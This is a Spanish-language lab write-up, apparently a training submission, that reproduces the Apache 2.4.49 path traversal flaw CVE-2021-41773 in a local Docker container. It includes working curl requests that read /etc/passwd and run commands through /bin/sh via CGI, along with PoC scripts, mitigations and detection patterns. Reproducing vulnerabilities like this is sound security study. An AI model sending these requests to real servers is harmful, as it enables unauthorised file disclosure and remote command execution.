
WHS 4.ª generación Lee Hee-su. Entrega del trabajo de kr-vulhub
Contribuyentes
Apache HTTP Server 2.4.49 contiene una vulnerabilidad en el proceso de normalización de rutas URL, ya que no bloquea adecuadamente las rutas parentales codificadas.
Un atacante puede utilizar valores como .%2e para salir del directorio que el servidor web está configurado para publicar. En entornos donde se permite el acceso a directorios externos, los archivos internos del servidor pueden quedar expuestos y, si la funcionalidad CGI está habilitada, se puede ejecutar una shell del sistema, lo que deriva en ejecución remota de comandos.
En este proyecto se construyó un entorno Apache HTTP Server 2.4.49 con Docker y se reprodujeron los dos escenarios siguientes:
/etc/passwd mediante Path TraversalCVE-2021-41773/
├── Dockerfile
├── docker-compose.yml
├── README.md
├── apache/
│ └── httpd.conf
├── web/
│ └── index.html
├── scripts/
│ ├── poc.sh
│ └── poc.ps1
└── screenshots/
├── 01-container-status.png
├── 02-normal-service.png
├── 03-apache-version.png
├── 04-path-traversal.png
├── 05-rce-whoami.png
└── 06-poc-script.png
Construye la imagen Docker y ejecuta el contenedor con el siguiente comando:
docker compose up -d --build
Comprueba el estado del contenedor con el siguiente comando:
docker ps
En el resultado se puede comprobar que el contenedor está en estado Up y que el puerto 8080 del host está conectado al puerto 80 del contenedor.

Accede a la siguiente dirección desde el navegador:
http://localhost:8080
Si la página web de Apache se muestra correctamente, la configuración del entorno está completa.

Comprueba la versión de Apache dentro del contenedor con el siguiente comando:
docker compose exec web /usr/local/apache2/bin/httpd -v
Resultado de la ejecución:
Server version: Apache/2.4.49 (Unix)
Se confirma que se está ejecutando Apache HTTP Server 2.4.49, que se ve afectado por CVE-2021-41773.

En este entorno de práctica se aplican las siguientes condiciones:
daemonEn la configuración de Apache se permite el acceso a la ruta raíz del sistema de archivos de la siguiente manera:
<Directory "/">
AllowOverride None
Require all granted
</Directory>
Además, se utilizó la siguiente configuración para la ejecución de CGI:
ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"
<Directory "/usr/local/apache2/cgi-bin">
AllowOverride None
Options +ExecCGI
Require all granted
</Directory>
La siguiente solicitud emplea una ruta parental codificada para acceder al archivo /etc/passwd dentro del contenedor.
curl --path-as-is "http://localhost:8080/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
.%2e se procesa como .. después de la decodificación de la URL.
Por lo tanto, el atacante puede ascender varias veces por los directorios superiores a partir de la ruta Alias y acceder al archivo /etc/passwd.
Resultado de la ejecución:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

/etc/passwd almacena información de las cuentas del sistema, como el nombre de usuario, UID, GID, directorio home y shell de inicio de sesión.
Aunque no contiene contraseñas reales, se confirma una vulnerabilidad de exposición de información, ya que un archivo interno del servidor, al que un usuario web externo normal no debería tener acceso, quedó expuesto mediante una simple solicitud HTTP.
En un entorno de producción real, de la misma manera podrían quedar expuestos los siguientes datos sensibles:
La siguiente solicitud utiliza Path Traversal para acceder a /bin/sh y ejecutar el comando whoami.
curl -s --path-as-is \
-d "echo Content-Type: text/plain; echo; whoami" \
"http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
Resultado de la ejecución:
daemon

Dado que la ruta /cgi-bin/ está configurada con ScriptAlias, Apache no se limita a leer los archivos de esa ruta, sino que los ejecuta como programas CGI.
Al acceder a /bin/sh mediante Path Traversal y enviar el comando incluido en el cuerpo de la solicitud, el comando se ejecuta con los permisos de la cuenta con la que se ejecuta Apache.
En este entorno, Apache se ejecuta con la siguiente cuenta:
User daemon
Group daemon
Por lo tanto, el resultado de la ejecución del comando también se mostró con la cuenta daemon.
Aunque no se trata de privilegios root, podrían surgir las siguientes amenazas adicionales:
En lugar de ejecutar comandos individuales, se pueden comprobar de una sola vez el servicio normal, el Path Traversal y la ejecución remota de comandos mediante el script PoC.
powershell -ExecutionPolicy Bypass -File .\scripts\poc.ps1
bash scripts/poc.sh
El script verifica los siguientes elementos en orden:
[1] 정상 서비스 확인
[2] Path Traversal을 통한 /etc/passwd 접근
[3] CGI를 통한 id 명령 실행

No se debe utilizar Apache HTTP Server 2.4.49; hay que actualizar a una versión reciente con los parches de seguridad aplicados.
En entornos de producción, el acceso a la ruta raíz del sistema de archivos debe estar bloqueado por defecto.
<Directory "/">
Require all denied
</Directory>
Solo se permiten por separado los directorios web necesarios.
<Directory "/usr/local/apache2/htdocs">
Require all granted
</Directory>
Si la funcionalidad CGI no es necesaria, desactiva los siguientes elementos:
mod_cgiScriptAliasExecCGIEl proceso de Apache debe ejecutarse con una cuenta de servicio restringida, no con root, y se deben minimizar los archivos y directorios a los que dicha cuenta puede acceder.
Se deben detectar y bloquear las solicitudes que contengan rutas anómalas como las siguientes:
.%2e
%2e%2e
/cgi-bin/
docker compose down
En esta práctica se construyó Apache HTTP Server 2.4.49 mediante un Dockerfile y se configuró un entorno vulnerable reproducible con Docker Compose.
Se comprobó que, mediante una solicitud de Path Traversal, se expuso el archivo /etc/passwd del interior del contenedor, al que un usuario web normal no debería poder acceder.
Asimismo, se confirmó que, en un entorno con CGI habilitado, es posible acceder a /bin/sh y ejecutar comandos del sistema con los permisos de la cuenta daemon, la cuenta con la que se ejecuta Apache.
Con ello se demuestra que CVE-2021-41773 no solo provoca una simple exposición de rutas, sino que, según la configuración del entorno, puede derivar en ejecución remota de comandos.